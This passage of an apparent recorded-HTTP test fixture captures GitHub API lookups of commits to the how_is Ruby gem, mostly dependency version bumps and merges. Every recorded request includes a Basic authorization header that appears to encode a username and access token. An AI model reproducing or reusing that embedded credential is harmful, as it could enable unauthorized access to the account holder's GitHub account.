7ab056a438c47822"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"8ebccdf6a4ebfe9304073f9ad2d01aaa6c6ba6d3","filename":"how_is.gemspec","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/how-is/how_is/blob/d25925f44897dc0b35aaf940cef25d89460856be/how_is.gemspec","raw_url":"https://github.com/how-is/how_is/raw/d25925f44897dc0b35aaf940cef25d89460856be/how_is.gemspec","contents_url":"https://api.github.com/repos/how-is/how_is/contents/how_is.gemspec?ref=d25925f44897dc0b35aaf940cef25d89460856be","patch":"@@ -31,5 +31,5 @@ Gem::Specification.new do |spec|\n spec.add_development_dependency \"timecop\", \"~> 0.8.1\"\n spec.add_development_dependency \"vcr\", \"~> 3.0\"\n spec.add_development_dependency \"webmock\"\n- spec.add_development_dependency \"rubocop\", \"~> 0.46.0\"\n+ spec.add_development_dependency \"rubocop\", \"~> 0.47.0\"\n end"}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:43 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/2528ba463cb751fe4a24b56e7ab056a438c47822 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:44 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3350' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"b02d58522dd14e9a0680fa3c902f61b1" Last-Modified: - Thu, 13 Jul 2017 15:33:35 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - 607C:39A5:2A7E41:4C4EE8:5CC36AEB body: encoding: ASCII-8BIT string: '{"sha":"2528ba463cb751fe4a24b56e7ab056a438c47822","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MjUyOGJhNDYzY2I3NTFmZTRhMjRiNTZlN2FiMDU2YTQzOGM0NzgyMg==","commit":{"author":{"name":"Ellen Marie Dash","email":"the@smallest.dog","date":"2017-07-13T15:33:35Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-07-13T15:33:35Z"},"message":"Merge pull request #166 from olleolleolle/patch-4\n\nGemfile: use Hashie from master branch","tree":{"sha":"3c51befb720f06f4b600bbb9a4a0f62ac83d609a","url":"https://api.github.com/repos/how-is/how_is/git/trees/3c51befb720f06f4b600bbb9a4a0f62ac83d609a"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/2528ba463cb751fe4a24b56e7ab056a438c47822","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/2528ba463cb751fe4a24b56e7ab056a438c47822","html_url":"https://github.com/how-is/how_is/commit/2528ba463cb751fe4a24b56e7ab056a438c47822","comments_url":"https://api.github.com/repos/how-is/how_is/commits/2528ba463cb751fe4a24b56e7ab056a438c47822/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"735ee15a7ac480c59424c139d6343b59645395f2","url":"https://api.github.com/repos/how-is/how_is/commits/735ee15a7ac480c59424c139d6343b59645395f2","html_url":"https://github.com/how-is/how_is/commit/735ee15a7ac480c59424c139d6343b59645395f2"},{"sha":"20058843a47c801c0151be1979f83c69eb9234ef","url":"https://api.github.com/repos/how-is/how_is/commits/20058843a47c801c0151be1979f83c69eb9234ef","html_url":"https://github.com/how-is/how_is/commit/20058843a47c801c0151be1979f83c69eb9234ef"}],"stats":{"total":1,"additions":1,"deletions":0},"files":[{"sha":"357b40030e08ae2b354cdacef96b0ad3cc21354d","filename":"Gemfile","status":"modified","additions":1,"deletions":0,"changes":1,"blob_url":"https://github.com/how-is/how_is/blob/2528ba463cb751fe4a24b56e7ab056a438c47822/Gemfile","raw_url":"https://github.com/how-is/how_is/raw/2528ba463cb751fe4a24b56e7ab056a438c47822/Gemfile","contents_url":"https://api.github.com/repos/how-is/how_is/contents/Gemfile?ref=2528ba463cb751fe4a24b56e7ab056a438c47822","patch":"@@ -4,3 +4,4 @@ source ''https://rubygems.org''\n \n # Specify your gem''s dependencies in how_is.gemspec\n gemspec\n+gem ''hashie'', git: ''https://github.com/intridea/hashie.git''"}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:44 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/20058843a47c801c0151be1979f83c69eb9234ef body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:44 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3349' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"c19255e7343bcdfbe658d5e8580a99ec" Last-Modified: - Thu, 13 Jul 2017 15:28:23 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - AEE9:1544:2C1F9F:565C46:5CC36AEC body: encoding: ASCII-8BIT string: '{"sha":"20058843a47c801c0151be1979f83c69eb9234ef","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MjAwNTg4NDNhNDdjODAxYzAxNTFiZTE5NzlmODNjNjllYjkyMzRlZg==","commit":{"author":{"name":"Ellen Marie Dash","email":"the@smallest.dog","date":"2017-07-13T15:28:23Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-07-13T15:28:23Z"},"message":"Merge branch ''master'' into patch-4","tree":{"sha":"3c51befb720f06f4b600bbb9a4a0f62ac83d609a","url":"https://api.github.com/repos/how-is/how_is/git/trees/3c51befb720f06f4b600bbb9a4a0f62ac83d609a"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/20058843a47c801c0151be1979f83c69eb9234ef","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/20058843a47c801c0151be1979f83c69eb9234ef","html_url":"https://github.com/how-is/how_is/commit/20058843a47c801c0151be1979f83c69eb9234ef","comments_url":"https://api.github.com/repos/how-is/how_is/commits/20058843a47c801c0151be1979f83c69eb9234ef/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"b2652ce6240d58e90e956eb7581a79a6f3765c34","url":"https://api.github.com/repos/how-is/how_is/commits/b2652ce6240d58e90e956eb7581a79a6f3765c34","html_url":"https://github.com/how-is/how_is/commit/b2652ce6240d58e90e956eb7581a79a6f3765c34"},{"sha":"735ee15a7ac480c59424c139d6343b59645395f2","url":"https://api.github.com/repos/how-is/how_is/commits/735ee15a7ac480c59424c139d6343b59645395f2","html_url":"https://github.com/how-is/how_is/commit/735ee15a7ac480c59424c139d6343b59645395f2"}],"stats":{"total":4,"additions":2,"deletions":2},"files":[{"sha":"85c57cfa60b70642adf038ade5e1c1b17a04a5bc","filename":"how_is.gemspec","status":"modified","additions":2,"deletions":2,"changes":4,"blob_url":"https://github.com/how-is/how_is/blob/20058843a47c801c0151be1979f83c69eb9234ef/how_is.gemspec","raw_url":"https://github.com/how-is/how_is/raw/20058843a47c801c0151be1979f83c69eb9234ef/how_is.gemspec","contents_url":"https://api.github.com/repos/how-is/how_is/contents/how_is.gemspec?ref=20058843a47c801c0151be1979f83c69eb9234ef","patch":"@@ -19,8 +19,8 @@ Gem::Specification.new do |spec|\n spec.executables = spec.files.grep(%r{^exe/}) { |f| File.basename(f) }\n spec.require_paths = [\"lib\"]\n \n- spec.add_runtime_dependency \"github_api\", \"~> 0.14.5\"\n- spec.add_runtime_dependency \"contracts\", \"~> 0.14.0\"\n+ spec.add_runtime_dependency \"github_api\", \"~> 0.17.0\"\n+ spec.add_runtime_dependency \"contracts\", \"~> 0.16.0\"\n spec.add_runtime_dependency \"slop\", \"~> 4.4.1\"\n \n spec.add_runtime_dependency \"tessellator-fetcher\", \"~> 5.0.0\""}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:44 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/735ee15a7ac480c59424c139d6343b59645395f2 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:44 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3348' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"887b35b79758d3c3304daae7d8946f45" Last-Modified: - Thu, 13 Jul 2017 15:27:54 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - 4082:7956:292292:51605A:5CC36AEC body: encoding: ASCII-8BIT string: '{"sha":"735ee15a7ac480c59424c139d6343b59645395f2","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NzM1ZWUxNWE3YWM0ODBjNTk0MjRjMTM5ZDYzNDNiNTk2NDUzOTVmMg==","commit":{"author":{"name":"Ellen Marie Dash","email":"the@smallest.dog","date":"2017-07-13T15:27:54Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-07-13T15:27:54Z"},"message":"Merge pull request #165 from olleolleolle/patch-3\n\nUpdate github_api, contracts to latest","tree":{"sha":"16bede8d574abf594774b6a2749bc63380e80ed6","url":"https://api.github.com/repos/how-is/how_is/git/trees/16bede8d574abf594774b6a2749bc63380e80ed6"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/735ee15a7ac480c59424c139d6343b59645395f2","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/735ee15a7ac480c59424c139d6343b59645395f2","html_url":"https://github.com/how-is/how_is/commit/735ee15a7ac480c59424c139d6343b59645395f2","comments_url":"https://api.github.com/repos/how-is/how_is/commits/735ee15a7ac480c59424c139d6343b59645395f2/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"bd8b4d0de0b8d4b78bade31b3f76438270840a28","url":"https://api.github.com/repos/how-is/how_is/commits/bd8b4d0de0b8d4b78bade31b3f76438270840a28","html_url":"https://github.com/how-is/how_is/commit/bd8b4d0de0b8d4b78bade31b3f76438270840a28"},{"sha":"1829e9f5ba45d837345b9f86cd15eba79719eb24","url":"https://api.github.com/repos/how-is/how_is/commits/1829e9f5ba45d837345b9f86cd15eba79719eb24","html_url":"https://github.com/how-is/how_is/commit/1829e9f5ba45d837345b9f86cd15eba79719eb24"}],"stats":{"total":4,"additions":2,"deletions":2},"files":[{"sha":"85c57cfa60b70642adf038ade5e1c1b17a04a5bc","filename":"how_is.gemspec","status":"modified","additions":2,"deletions":2,"changes":4,"blob_url":"https://github.com/how-is/how_is/blob/735ee15a7ac480c59424c139d6343b59645395f2/how_is.gemspec","raw_url":"https://github.com/how-is/how_is/raw/735ee15a7ac480c59424c139d6343b59645395f2/how_is.gemspec","contents_url":"https://api.github.com/repos/how-is/how_is/contents/how_is.gemspec?ref=735ee15a7ac480c59424c139d6343b59645395f2","patch":"@@ -19,8 +19,8 @@ Gem::Specification.new do |spec|\n spec.executables = spec.files.grep(%r{^exe/}) { |f| File.basename(f) }\n spec.require_paths = [\"lib\"]\n \n- spec.add_runtime_dependency \"github_api\", \"~> 0.14.5\"\n- spec.add_runtime_dependency \"contracts\", \"~> 0.14.0\"\n+ spec.add_runtime_dependency \"github_api\", \"~> 0.17.0\"\n+ spec.add_runtime_dependency \"contracts\", \"~> 0.16.0\"\n spec.add_runtime_dependency \"slop\", \"~> 4.4.1\"\n \n spec.add_runtime_dependency \"tessellator-fetcher\", \"~> 5.0.0\""}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:44 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/b2652ce6240d58e90e956eb7581a79a6f3765c34 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:44 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3347' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"d62db7e8e98edc1f618318cab97a6267" Last-Modified: - Tue, 11 Jul 2017 22:35:08 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - '0748:6091:131F4F:2E155E:5CC36AEC' body: encoding: ASCII-8BIT string: '{"sha":"b2652ce6240d58e90e956eb7581a79a6f3765c34","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YjI2NTJjZTYyNDBkNThlOTBlOTU2ZWI3NTgxYTc5YTZmMzc2NWMzNA==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-11T22:35:08Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-07-11T22:35:08Z"},"message":"Gemfile: use Hashie from master branch\n\n - this avoids a Ruby warning, see https://github.com/intridea/hashie/pull/416","tree":{"sha":"b713008f4d4b46d685285eb1ba02c07dd2661a77","url":"https://api.github.com/repos/how-is/how_is/git/trees/b713008f4d4b46d685285eb1ba02c07dd2661a77"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/b2652ce6240d58e90e956eb7581a79a6f3765c34","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/b2652ce6240d58e90e956eb7581a79a6f3765c34","html_url":"https://github.com/how-is/how_is/commit/b2652ce6240d58e90e956eb7581a79a6f3765c34","comments_url":"https://api.github.com/repos/how-is/how_is/commits/b2652ce6240d58e90e956eb7581a79a6f3765c34/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"bd8b4d0de0b8d4b78bade31b3f76438270840a28","url":"https://api.github.com/repos/how-is/how_is/commits/bd8b4d0de0b8d4b78bade31b3f76438270840a28","html_url":"https://github.com/how-is/how_is/commit/bd8b4d0de0b8d4b78bade31b3f76438270840a28"}],"stats":{"total":1,"additions":1,"deletions":0},"files":[{"sha":"357b40030e08ae2b354cdacef96b0ad3cc21354d","filename":"Gemfile","status":"modified","additions":1,"deletions":0,"changes":1,"blob_url":"https://github.com/how-is/how_is/blob/b2652ce6240d58e90e956eb7581a79a6f3765c34/Gemfile","raw_url":"https://github.com/how-is/how_is/raw/b2652ce6240d58e90e956eb7581a79a6f3765c34/Gemfile","contents_url":"https://api.github.com/repos/how-is/how_is/contents/Gemfile?ref=b2652ce6240d58e90e956eb7581a79a6f3765c34","patch":"@@ -4,3 +4,4 @@ source ''https://rubygems.org''\n \n # Specify your gem''s dependencies in how_is.gemspec\n gemspec\n+gem ''hashie'', git: ''https://github.com/intridea/hashie.git''"}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:44 GMT - request: method: get uri: https://api.github.com/repos/how-is/how_is/commits/1829e9f5ba45d837345b9f86cd15eba79719eb24 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:44 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3346' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"ca7592110b17c42379175701b2851a11" Last-Modified: - Tue, 11 Jul 2017 22:32:27 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - 48CE:7CA0:293ADF:52E183:5CC36AEC body: encoding: ASCII-8BIT string: '{"sha":"1829e9f5ba45d837345b9f86cd15eba79719eb24","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MTgyOWU5ZjViYTQ1ZDgzNzM0NWI5Zjg2Y2QxNWViYTc5NzE5ZWIyNA==","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-07-11T22:32:27Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-07-11T22:32:27Z"},"message":"Update github_api, contracts to latest","tree":{"sha":"16bede8d574abf594774b6a2749bc63380e80ed6","url":"https://api.github.com/repos/how-is/how_is/git/trees/16bede8d574abf594774b6a2749bc63380e80ed6"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/1829e9f5ba45d837345b9f86cd15eba79719eb24","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/1829e9f5ba45d837345b9f86cd15eba79719eb24","html_url":"https://github.com/how-is/how_is/commit/1829e9f5ba45d837345b9f86cd15eba79719eb24","comments_url":"https://api.github.com/repos/how-is/how_is/commits/1829e9f5ba45d837345b9f86cd15eba79719eb24/comments","author":{"login":"olleolleolle","id":211,"node_id":"MDQ6VXNlcjIxMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"s